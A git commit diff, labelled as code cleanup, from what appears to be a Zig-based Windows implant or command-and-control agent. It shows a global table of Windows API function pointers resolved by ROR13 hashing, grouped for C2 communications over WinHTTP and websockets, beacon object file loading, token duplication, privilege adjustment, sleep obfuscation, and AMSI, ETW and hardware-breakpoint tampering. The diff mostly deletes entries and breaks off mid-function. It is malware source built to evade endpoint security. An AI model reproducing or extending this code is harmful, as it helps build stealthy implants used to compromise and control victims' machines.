code cleanup: remove dead api vars, unused imports, log strings
This commit is contained in:
+3
-403
@@ -1,80 +1,10 @@
|
|||||||
// Global function-pointer table, populated by ensure() via resolve.zig.
|
|
||||||
// Type aliases in apitypes.zig.
|
|
||||||
const win = @import("win32.zig");
|
const win = @import("win32.zig");
|
||||||
const resolve = @import("resolve.zig");
|
const resolve = @import("resolve.zig");
|
||||||
const apitypes = @import("apitypes.zig");
|
const apitypes = @import("apitypes.zig");
|
||||||
pub const T_exec_CreatePipe = apitypes.T_exec_CreatePipe;
|
|
||||||
pub const T_exec_CreateProcessA = apitypes.T_exec_CreateProcessA;
|
|
||||||
pub const T_exec_ReadFile = apitypes.T_exec_ReadFile;
|
|
||||||
pub const T_exec_WaitForSingleObject = apitypes.T_exec_WaitForSingleObject;
|
|
||||||
pub const T_exec_GetExitCodeProcess = apitypes.T_exec_GetExitCodeProcess;
|
|
||||||
pub const T_exec_GetLastError = apitypes.T_exec_GetLastError;
|
|
||||||
pub const T_exec_GetModuleFileNameA = apitypes.T_exec_GetModuleFileNameA;
|
|
||||||
pub const T_exec_ExitProcess = apitypes.T_exec_ExitProcess;
|
|
||||||
pub const T_exec_InitializeProcThreadAttributeList = apitypes.T_exec_InitializeProcThreadAttributeList;
|
|
||||||
pub const T_exec_UpdateProcThreadAttribute = apitypes.T_exec_UpdateProcThreadAttribute;
|
|
||||||
pub const T_exec_DeleteProcThreadAttributeList = apitypes.T_exec_DeleteProcThreadAttributeList;
|
|
||||||
pub const T_exec_CreateFileA = apitypes.T_exec_CreateFileA;
|
|
||||||
pub const T_exec_WriteFile = apitypes.T_exec_WriteFile;
|
|
||||||
pub const T_exec_OpenProcessToken = apitypes.T_exec_OpenProcessToken;
|
|
||||||
pub const T_exec_DuplicateTokenEx = apitypes.T_exec_DuplicateTokenEx;
|
|
||||||
pub const T_exec_CreateProcessWithTokenW = apitypes.T_exec_CreateProcessWithTokenW;
|
|
||||||
pub const T_exec_CreatePseudoConsole = apitypes.T_exec_CreatePseudoConsole;
|
|
||||||
pub const T_exec_ClosePseudoConsole = apitypes.T_exec_ClosePseudoConsole;
|
|
||||||
pub const T_exec_CreateThread = apitypes.T_exec_CreateThread;
|
|
||||||
pub const T_exec_InitializeCriticalSection = apitypes.T_exec_InitializeCriticalSection;
|
|
||||||
pub const T_exec_EnterCriticalSection = apitypes.T_exec_EnterCriticalSection;
|
|
||||||
pub const T_exec_LeaveCriticalSection = apitypes.T_exec_LeaveCriticalSection;
|
|
||||||
pub const T_exec_DeleteCriticalSection = apitypes.T_exec_DeleteCriticalSection;
|
|
||||||
pub const T_info_GetComputerNameA = apitypes.T_info_GetComputerNameA;
|
|
||||||
pub const T_info_GetUserNameA = apitypes.T_info_GetUserNameA;
|
|
||||||
pub const T_info_GetSystemInfo = apitypes.T_info_GetSystemInfo;
|
|
||||||
pub const T_info_GetCurrentProcessId = apitypes.T_info_GetCurrentProcessId;
|
|
||||||
pub const T_info_RtlGetVersion = apitypes.T_info_RtlGetVersion;
|
|
||||||
pub const T_info_GetSystemTime = apitypes.T_info_GetSystemTime;
|
|
||||||
pub const T_fiber_ConvertThreadToFiber = apitypes.T_fiber_ConvertThreadToFiber;
|
|
||||||
pub const T_fiber_CreateFiber = apitypes.T_fiber_CreateFiber;
|
|
||||||
pub const T_fiber_SwitchToFiber = apitypes.T_fiber_SwitchToFiber;
|
|
||||||
pub const T_fiber_DeleteFiber = apitypes.T_fiber_DeleteFiber;
|
|
||||||
pub const T_fiber_ConvertFiberToThread = apitypes.T_fiber_ConvertFiberToThread;
|
|
||||||
pub const T_sleep_SystemFunction040 = apitypes.T_sleep_SystemFunction040;
|
pub const T_sleep_SystemFunction040 = apitypes.T_sleep_SystemFunction040;
|
||||||
pub const T_sleep_SystemFunction041 = apitypes.T_sleep_SystemFunction041;
|
pub const T_sleep_SystemFunction041 = apitypes.T_sleep_SystemFunction041;
|
||||||
pub const T_comms_LoadLibraryA = apitypes.T_comms_LoadLibraryA;
|
pub const T_comms_LoadLibraryA = apitypes.T_comms_LoadLibraryA;
|
||||||
pub const T_comms_WinHttpOpen = apitypes.T_comms_WinHttpOpen;
|
|
||||||
pub const T_comms_WinHttpConnect = apitypes.T_comms_WinHttpConnect;
|
|
||||||
pub const T_comms_WinHttpOpenRequest = apitypes.T_comms_WinHttpOpenRequest;
|
|
||||||
pub const T_comms_WinHttpSetOption = apitypes.T_comms_WinHttpSetOption;
|
|
||||||
pub const T_comms_WinHttpSendRequest = apitypes.T_comms_WinHttpSendRequest;
|
|
||||||
pub const T_comms_WinHttpReceiveResponse = apitypes.T_comms_WinHttpReceiveResponse;
|
|
||||||
pub const T_comms_WinHttpReadData = apitypes.T_comms_WinHttpReadData;
|
|
||||||
pub const T_comms_WinHttpCloseHandle = apitypes.T_comms_WinHttpCloseHandle;
|
|
||||||
pub const T_comms_WinHttpAddRequestHeaders = apitypes.T_comms_WinHttpAddRequestHeaders;
|
|
||||||
pub const T_comms_WinHttpQueryDataAvailable = apitypes.T_comms_WinHttpQueryDataAvailable;
|
|
||||||
pub const T_comms_WinHttpWebSocketCompleteUpgrade = apitypes.T_comms_WinHttpWebSocketCompleteUpgrade;
|
|
||||||
pub const T_comms_WinHttpWebSocketSend = apitypes.T_comms_WinHttpWebSocketSend;
|
|
||||||
pub const T_comms_WinHttpWebSocketReceive = apitypes.T_comms_WinHttpWebSocketReceive;
|
|
||||||
pub const T_comms_WinHttpWebSocketClose = apitypes.T_comms_WinHttpWebSocketClose;
|
|
||||||
pub const T_bof_LoadLibraryA = apitypes.T_bof_LoadLibraryA;
|
|
||||||
pub const T_bof_GetProcAddress = apitypes.T_bof_GetProcAddress;
|
|
||||||
pub const T_bof_GetModuleHandleA = apitypes.T_bof_GetModuleHandleA;
|
|
||||||
pub const T_bof_VirtualAlloc = apitypes.T_bof_VirtualAlloc;
|
|
||||||
pub const T_bof_VirtualFree = apitypes.T_bof_VirtualFree;
|
|
||||||
pub const T_bof_VirtualProtect = apitypes.T_bof_VirtualProtect;
|
|
||||||
pub const T_crypto_BCryptOpenAlgorithmProvider = apitypes.T_crypto_BCryptOpenAlgorithmProvider;
|
|
||||||
pub const T_crypto_BCryptCloseAlgorithmProvider = apitypes.T_crypto_BCryptCloseAlgorithmProvider;
|
|
||||||
pub const T_crypto_BCryptSetProperty = apitypes.T_crypto_BCryptSetProperty;
|
|
||||||
pub const T_crypto_BCryptGenerateSymmetricKey = apitypes.T_crypto_BCryptGenerateSymmetricKey;
|
|
||||||
pub const T_crypto_BCryptDestroyKey = apitypes.T_crypto_BCryptDestroyKey;
|
|
||||||
pub const T_crypto_BCryptEncrypt = apitypes.T_crypto_BCryptEncrypt;
|
|
||||||
pub const T_crypto_BCryptDecrypt = apitypes.T_crypto_BCryptDecrypt;
|
|
||||||
pub const T_crypto_BCryptGenRandom = apitypes.T_crypto_BCryptGenRandom;
|
|
||||||
pub const T_crypto_BCryptGenerateKeyPair = apitypes.T_crypto_BCryptGenerateKeyPair;
|
|
||||||
pub const T_crypto_BCryptFinalizeKeyPair = apitypes.T_crypto_BCryptFinalizeKeyPair;
|
|
||||||
pub const T_crypto_BCryptExportKey = apitypes.T_crypto_BCryptExportKey;
|
|
||||||
pub const T_crypto_BCryptImportKeyPair = apitypes.T_crypto_BCryptImportKeyPair;
|
|
||||||
pub const T_crypto_BCryptSecretAgreement = apitypes.T_crypto_BCryptSecretAgreement;
|
|
||||||
pub const T_crypto_BCryptDeriveKey = apitypes.T_crypto_BCryptDeriveKey;
|
|
||||||
pub const T_crypto_BCryptDestroySecret = apitypes.T_crypto_BCryptDestroySecret;
|
|
||||||
pub const T_amsi_LoadLibraryW = apitypes.T_amsi_LoadLibraryW;
|
pub const T_amsi_LoadLibraryW = apitypes.T_amsi_LoadLibraryW;
|
||||||
pub const T_amsi_GetProcAddress = apitypes.T_amsi_GetProcAddress;
|
pub const T_amsi_GetProcAddress = apitypes.T_amsi_GetProcAddress;
|
||||||
pub const T_amsi_AddVectoredExceptionHandler = apitypes.T_amsi_AddVectoredExceptionHandler;
|
pub const T_amsi_AddVectoredExceptionHandler = apitypes.T_amsi_AddVectoredExceptionHandler;
|
||||||
@@ -83,12 +13,7 @@ pub const T_amsi_GetCurrentThread = apitypes.T_amsi_GetCurrentThread;
|
|||||||
pub const T_amsi_SetThreadContext = apitypes.T_amsi_SetThreadContext;
|
pub const T_amsi_SetThreadContext = apitypes.T_amsi_SetThreadContext;
|
||||||
pub const T_amsi_SuspendThread = apitypes.T_amsi_SuspendThread;
|
pub const T_amsi_SuspendThread = apitypes.T_amsi_SuspendThread;
|
||||||
pub const T_amsi_ResumeThread = apitypes.T_amsi_ResumeThread;
|
pub const T_amsi_ResumeThread = apitypes.T_amsi_ResumeThread;
|
||||||
pub const T_etw_GetModuleHandleW = apitypes.T_etw_GetModuleHandleW;
|
|
||||||
pub const T_etw_GetProcAddress = apitypes.T_etw_GetProcAddress;
|
pub const T_etw_GetProcAddress = apitypes.T_etw_GetProcAddress;
|
||||||
pub const T_etw_VirtualProtect = apitypes.T_etw_VirtualProtect;
|
|
||||||
pub const T_priv_LookupPrivilegeValueW = apitypes.T_priv_LookupPrivilegeValueW;
|
|
||||||
pub const T_priv_AdjustTokenPrivileges = apitypes.T_priv_AdjustTokenPrivileges;
|
|
||||||
pub const T_priv_GetCurrentProcess = apitypes.T_priv_GetCurrentProcess;
|
|
||||||
pub const hash_ror13 = apitypes.hash_ror13;
|
pub const hash_ror13 = apitypes.hash_ror13;
|
||||||
pub const resolve_api = apitypes.resolve_api;
|
pub const resolve_api = apitypes.resolve_api;
|
||||||
pub const get_module_by_hash = apitypes.get_module_by_hash;
|
pub const get_module_by_hash = apitypes.get_module_by_hash;
|
||||||
@@ -96,87 +21,11 @@ pub const get_func_by_hash = apitypes.get_func_by_hash;
|
|||||||
pub const NT_SUCCESS = apitypes.NT_SUCCESS;
|
pub const NT_SUCCESS = apitypes.NT_SUCCESS;
|
||||||
pub const BCRYPT_INIT_AUTH_MODE_INFO = apitypes.BCRYPT_INIT_AUTH_MODE_INFO;
|
pub const BCRYPT_INIT_AUTH_MODE_INFO = apitypes.BCRYPT_INIT_AUTH_MODE_INFO;
|
||||||
|
|
||||||
// Global function-pointer variables, populated by ensure() below.
|
pub var comms_load_library_a: ?T_comms_LoadLibraryA = null;
|
||||||
|
|
||||||
pub var exec_create_pipe: ?T_exec_CreatePipe = null;
|
|
||||||
pub var exec_create_process_a: ?T_exec_CreateProcessA = null;
|
|
||||||
pub var exec_read_file: ?T_exec_ReadFile = null;
|
|
||||||
pub var exec_wait_for_single_object: ?T_exec_WaitForSingleObject = null;
|
|
||||||
pub var exec_get_exit_code_process: ?T_exec_GetExitCodeProcess = null;
|
|
||||||
pub var exec_get_last_error: ?T_exec_GetLastError = null;
|
|
||||||
pub var exec_get_module_file_name_a: ?T_exec_GetModuleFileNameA = null;
|
|
||||||
pub var exec_exit_process: ?T_exec_ExitProcess = null;
|
|
||||||
pub var exec_initialize_proc_thread_attribute_list: ?T_exec_InitializeProcThreadAttributeList = null;
|
|
||||||
pub var exec_update_proc_thread_attribute: ?T_exec_UpdateProcThreadAttribute = null;
|
|
||||||
pub var exec_delete_proc_thread_attribute_list: ?T_exec_DeleteProcThreadAttributeList = null;
|
|
||||||
pub var exec_create_file_a: ?T_exec_CreateFileA = null;
|
|
||||||
pub var exec_write_file: ?T_exec_WriteFile = null;
|
|
||||||
pub var exec_open_process_token: ?T_exec_OpenProcessToken = null;
|
|
||||||
pub var exec_duplicate_token_ex: ?T_exec_DuplicateTokenEx = null;
|
|
||||||
pub var exec_create_process_with_token_w: ?T_exec_CreateProcessWithTokenW = null;
|
|
||||||
pub var exec_create_pseudo_console: ?T_exec_CreatePseudoConsole = null;
|
|
||||||
pub var exec_close_pseudo_console: ?T_exec_ClosePseudoConsole = null;
|
|
||||||
pub var exec_create_thread: ?T_exec_CreateThread = null;
|
|
||||||
pub var exec_initialize_critical_section: ?T_exec_InitializeCriticalSection = null;
|
|
||||||
pub var exec_enter_critical_section: ?T_exec_EnterCriticalSection = null;
|
|
||||||
pub var exec_leave_critical_section: ?T_exec_LeaveCriticalSection = null;
|
|
||||||
pub var exec_delete_critical_section: ?T_exec_DeleteCriticalSection = null;
|
|
||||||
|
|
||||||
pub var info_get_computer_name_a: ?T_info_GetComputerNameA = null;
|
|
||||||
pub var info_get_user_name_a: ?T_info_GetUserNameA = null;
|
|
||||||
pub var info_get_system_info: ?T_info_GetSystemInfo = null;
|
|
||||||
pub var info_get_current_process_id: ?T_info_GetCurrentProcessId = null;
|
|
||||||
pub var info_rtl_get_version: ?T_info_RtlGetVersion = null;
|
|
||||||
pub var info_get_system_time: ?T_info_GetSystemTime = null;
|
|
||||||
|
|
||||||
pub var fiber_ConvertThreadToFiber: ?T_fiber_ConvertThreadToFiber = null;
|
|
||||||
pub var fiber_CreateFiber: ?T_fiber_CreateFiber = null;
|
|
||||||
pub var fiber_SwitchToFiber: ?T_fiber_SwitchToFiber = null;
|
|
||||||
pub var fiber_DeleteFiber: ?T_fiber_DeleteFiber = null;
|
|
||||||
pub var fiber_ConvertFiberToThread: ?T_fiber_ConvertFiberToThread = null;
|
|
||||||
|
|
||||||
pub var sleep_SystemFunction040: ?T_sleep_SystemFunction040 = null;
|
pub var sleep_SystemFunction040: ?T_sleep_SystemFunction040 = null;
|
||||||
pub var sleep_SystemFunction041: ?T_sleep_SystemFunction041 = null;
|
pub var sleep_SystemFunction041: ?T_sleep_SystemFunction041 = null;
|
||||||
|
|
||||||
pub var comms_load_library_a: ?T_comms_LoadLibraryA = null;
|
|
||||||
pub var comms_winhttp_open: ?T_comms_WinHttpOpen = null;
|
|
||||||
pub var comms_winhttp_connect: ?T_comms_WinHttpConnect = null;
|
|
||||||
pub var comms_winhttp_open_request: ?T_comms_WinHttpOpenRequest = null;
|
|
||||||
pub var comms_winhttp_set_option: ?T_comms_WinHttpSetOption = null;
|
|
||||||
pub var comms_winhttp_send_request: ?T_comms_WinHttpSendRequest = null;
|
|
||||||
pub var comms_winhttp_receive_response: ?T_comms_WinHttpReceiveResponse = null;
|
|
||||||
pub var comms_winhttp_read_data: ?T_comms_WinHttpReadData = null;
|
|
||||||
pub var comms_winhttp_close_handle: ?T_comms_WinHttpCloseHandle = null;
|
|
||||||
pub var comms_winhttp_add_request_headers: ?T_comms_WinHttpAddRequestHeaders = null;
|
|
||||||
pub var comms_winhttp_query_data_available: ?T_comms_WinHttpQueryDataAvailable = null;
|
|
||||||
pub var comms_winhttp_websocket_complete_upgrade: ?T_comms_WinHttpWebSocketCompleteUpgrade = null;
|
|
||||||
pub var comms_winhttp_websocket_send: ?T_comms_WinHttpWebSocketSend = null;
|
|
||||||
pub var comms_winhttp_websocket_receive: ?T_comms_WinHttpWebSocketReceive = null;
|
|
||||||
pub var comms_winhttp_websocket_close: ?T_comms_WinHttpWebSocketClose = null;
|
|
||||||
|
|
||||||
pub var bof_load_library_a: ?T_bof_LoadLibraryA = null;
|
|
||||||
pub var bof_get_proc_address: ?T_bof_GetProcAddress = null;
|
|
||||||
pub var bof_get_module_handle_a: ?T_bof_GetModuleHandleA = null;
|
|
||||||
pub var bof_virtual_alloc: ?T_bof_VirtualAlloc = null;
|
|
||||||
pub var bof_virtual_free: ?T_bof_VirtualFree = null;
|
|
||||||
pub var bof_virtual_protect: ?T_bof_VirtualProtect = null;
|
|
||||||
|
|
||||||
pub var crypto_bcrypt_open: ?T_crypto_BCryptOpenAlgorithmProvider = null;
|
|
||||||
pub var crypto_bcrypt_close: ?T_crypto_BCryptCloseAlgorithmProvider = null;
|
|
||||||
pub var crypto_bcrypt_set_prop: ?T_crypto_BCryptSetProperty = null;
|
|
||||||
pub var crypto_bcrypt_gen_key: ?T_crypto_BCryptGenerateSymmetricKey = null;
|
|
||||||
pub var crypto_bcrypt_destroy_key: ?T_crypto_BCryptDestroyKey = null;
|
|
||||||
pub var crypto_bcrypt_encrypt: ?T_crypto_BCryptEncrypt = null;
|
|
||||||
pub var crypto_bcrypt_decrypt: ?T_crypto_BCryptDecrypt = null;
|
|
||||||
pub var crypto_bcrypt_gen_random: ?T_crypto_BCryptGenRandom = null;
|
|
||||||
pub var crypto_bcrypt_gen_key_pair: ?T_crypto_BCryptGenerateKeyPair = null;
|
|
||||||
pub var crypto_bcrypt_finalize_key_pair: ?T_crypto_BCryptFinalizeKeyPair = null;
|
|
||||||
pub var crypto_bcrypt_export_key: ?T_crypto_BCryptExportKey = null;
|
|
||||||
pub var crypto_bcrypt_import_key_pair: ?T_crypto_BCryptImportKeyPair = null;
|
|
||||||
pub var crypto_bcrypt_secret_agreement: ?T_crypto_BCryptSecretAgreement = null;
|
|
||||||
pub var crypto_bcrypt_derive_key: ?T_crypto_BCryptDeriveKey = null;
|
|
||||||
pub var crypto_bcrypt_destroy_secret: ?T_crypto_BCryptDestroySecret = null;
|
|
||||||
|
|
||||||
pub var amsi_load_library_w: ?T_amsi_LoadLibraryW = null;
|
pub var amsi_load_library_w: ?T_amsi_LoadLibraryW = null;
|
||||||
pub var amsi_get_proc_address: ?T_amsi_GetProcAddress = null;
|
pub var amsi_get_proc_address: ?T_amsi_GetProcAddress = null;
|
||||||
pub var amsi_add_vectored_exception_handler: ?T_amsi_AddVectoredExceptionHandler = null;
|
pub var amsi_add_vectored_exception_handler: ?T_amsi_AddVectoredExceptionHandler = null;
|
||||||
@@ -186,19 +35,12 @@ pub var amsi_set_thread_context: ?T_amsi_SetThreadContext = null;
|
|||||||
pub var amsi_suspend_thread: ?T_amsi_SuspendThread = null;
|
pub var amsi_suspend_thread: ?T_amsi_SuspendThread = null;
|
||||||
pub var amsi_resume_thread: ?T_amsi_ResumeThread = null;
|
pub var amsi_resume_thread: ?T_amsi_ResumeThread = null;
|
||||||
|
|
||||||
pub var etw_get_module_handle_w: ?T_etw_GetModuleHandleW = null;
|
|
||||||
pub var etw_get_proc_address: ?T_etw_GetProcAddress = null;
|
pub var etw_get_proc_address: ?T_etw_GetProcAddress = null;
|
||||||
pub var etw_virtual_protect: ?T_etw_VirtualProtect = null;
|
|
||||||
|
|
||||||
// HWBP reuses AMSI's VEH/thread APIs.
|
|
||||||
pub var hwbp_add_veh: ?*const fn (first: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque = null;
|
pub var hwbp_add_veh: ?*const fn (first: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque = null;
|
||||||
pub var hwbp_get_thread: ?*const fn () callconv(win.WINAPI) win.HANDLE = null;
|
pub var hwbp_get_thread: ?*const fn () callconv(win.WINAPI) win.HANDLE = null;
|
||||||
pub var hwbp_set_thread_ctx: ?*const fn (win.HANDLE, *const win.CONTEXT) callconv(win.WINAPI) win.BOOL = null;
|
pub var hwbp_set_thread_ctx: ?*const fn (win.HANDLE, *const win.CONTEXT) callconv(win.WINAPI) win.BOOL = null;
|
||||||
|
|
||||||
pub var priv_lookup_privilege_value_w: ?T_priv_LookupPrivilegeValueW = null;
|
|
||||||
pub var priv_adjust_token_privileges: ?T_priv_AdjustTokenPrivileges = null;
|
|
||||||
pub var priv_get_current_process: ?T_priv_GetCurrentProcess = null;
|
|
||||||
|
|
||||||
var g_ensure_done: bool = false;
|
var g_ensure_done: bool = false;
|
||||||
|
|
||||||
pub fn ensure() void {
|
pub fn ensure() void {
|
||||||
@@ -206,211 +48,23 @@ pub fn ensure() void {
|
|||||||
g_ensure_done = true;
|
g_ensure_done = true;
|
||||||
|
|
||||||
const k32_hash = hash_ror13("kernel32.dll");
|
const k32_hash = hash_ror13("kernel32.dll");
|
||||||
const ntdll_hash = hash_ror13("ntdll.dll");
|
|
||||||
const winhttp_hash = hash_ror13("winhttp.dll");
|
|
||||||
const bcrypt_hash = hash_ror13("bcrypt.dll");
|
|
||||||
|
|
||||||
if (exec_create_pipe == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("CreatePipe"))) |p| {
|
|
||||||
exec_create_pipe = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_create_process_a == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("CreateProcessA"))) |p| {
|
|
||||||
exec_create_process_a = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_read_file == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("ReadFile"))) |p| {
|
|
||||||
exec_read_file = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_wait_for_single_object == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("WaitForSingleObject"))) |p| {
|
|
||||||
exec_wait_for_single_object = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_get_exit_code_process == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetExitCodeProcess"))) |p| {
|
|
||||||
exec_get_exit_code_process = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_get_last_error == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetLastError"))) |p| {
|
|
||||||
exec_get_last_error = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_get_module_file_name_a == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetModuleFileNameA"))) |p| {
|
|
||||||
exec_get_module_file_name_a = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_exit_process == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("ExitProcess"))) |p| {
|
|
||||||
exec_exit_process = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_initialize_proc_thread_attribute_list == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("InitializeProcThreadAttributeList"))) |p| {
|
|
||||||
exec_initialize_proc_thread_attribute_list = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_update_proc_thread_attribute == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("UpdateProcThreadAttribute"))) |p| {
|
|
||||||
exec_update_proc_thread_attribute = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_delete_proc_thread_attribute_list == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("DeleteProcThreadAttributeList"))) |p| {
|
|
||||||
exec_delete_proc_thread_attribute_list = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_create_file_a == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("CreateFileA"))) |p| {
|
|
||||||
exec_create_file_a = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_write_file == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("WriteFile"))) |p| {
|
|
||||||
exec_write_file = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_open_process_token == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("OpenProcessToken"))) |p| {
|
|
||||||
exec_open_process_token = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_duplicate_token_ex == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("DuplicateTokenEx"))) |p| {
|
|
||||||
exec_duplicate_token_ex = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_create_process_with_token_w == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("CreateProcessWithTokenW"))) |p| {
|
|
||||||
exec_create_process_with_token_w = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_create_pseudo_console == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("CreatePseudoConsole"))) |p| {
|
|
||||||
exec_create_pseudo_console = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_close_pseudo_console == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("ClosePseudoConsole"))) |p| {
|
|
||||||
exec_close_pseudo_console = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_create_thread == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("CreateThread"))) |p| {
|
|
||||||
exec_create_thread = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_initialize_critical_section == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("InitializeCriticalSection"))) |p| {
|
|
||||||
exec_initialize_critical_section = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_enter_critical_section == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("EnterCriticalSection"))) |p| {
|
|
||||||
exec_enter_critical_section = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_leave_critical_section == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("LeaveCriticalSection"))) |p| {
|
|
||||||
exec_leave_critical_section = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (exec_delete_critical_section == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("DeleteCriticalSection"))) |p| {
|
|
||||||
exec_delete_critical_section = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (comms_load_library_a == null) {
|
if (comms_load_library_a == null) {
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryA"))) |p| {
|
if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryA"))) |p| {
|
||||||
comms_load_library_a = @ptrCast(p);
|
comms_load_library_a = @ptrCast(p);
|
||||||
bof_load_library_a = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (info_get_computer_name_a == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetComputerNameA"))) |p| {
|
|
||||||
info_get_computer_name_a = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (info_get_user_name_a == null) {
|
|
||||||
if (comms_load_library_a) |la| {
|
|
||||||
_ = la("advapi32.dll");
|
|
||||||
}
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetUserNameA"))) |p| {
|
|
||||||
info_get_user_name_a = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (info_get_system_info == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetSystemInfo"))) |p| {
|
|
||||||
info_get_system_info = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (info_get_current_process_id == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentProcessId"))) |p| {
|
|
||||||
info_get_current_process_id = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (info_get_system_time == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetSystemTime"))) |p| {
|
|
||||||
info_get_system_time = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (fiber_ConvertThreadToFiber == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("ConvertThreadToFiber"))) |p| {
|
|
||||||
fiber_ConvertThreadToFiber = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (fiber_CreateFiber == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("CreateFiber"))) |p| {
|
|
||||||
fiber_CreateFiber = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (fiber_SwitchToFiber == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("SwitchToFiber"))) |p| {
|
|
||||||
fiber_SwitchToFiber = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (fiber_DeleteFiber == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("DeleteFiber"))) |p| {
|
|
||||||
fiber_DeleteFiber = @ptrCast(p);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (fiber_ConvertFiberToThread == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("ConvertFiberToThread"))) |p| {
|
|
||||||
fiber_ConvertFiberToThread = @ptrCast(p);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (amsi_load_library_w == null) {
|
if (amsi_load_library_w == null) {
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryW"))) |p| amsi_load_library_w = @ptrCast(p);
|
if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryW"))) |p| amsi_load_library_w = @ptrCast(p);
|
||||||
}
|
}
|
||||||
if (etw_get_module_handle_w == null) {
|
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetModuleHandleW"))) |p| etw_get_module_handle_w = @ptrCast(p);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (bof_get_proc_address == null) {
|
if (amsi_get_proc_address == null) {
|
||||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetProcAddress"))) |p| {
|
if (resolve.resolve_api(k32_hash, hash_ror13("GetProcAddress"))) |p| {
|
||||||
bof_get_proc_address = @ptrCast(p);
|
|
||||||
amsi_get_proc_address = @ptrCast(p);
|
amsi_get_proc_address = @ptrCast(p);
|
||||||
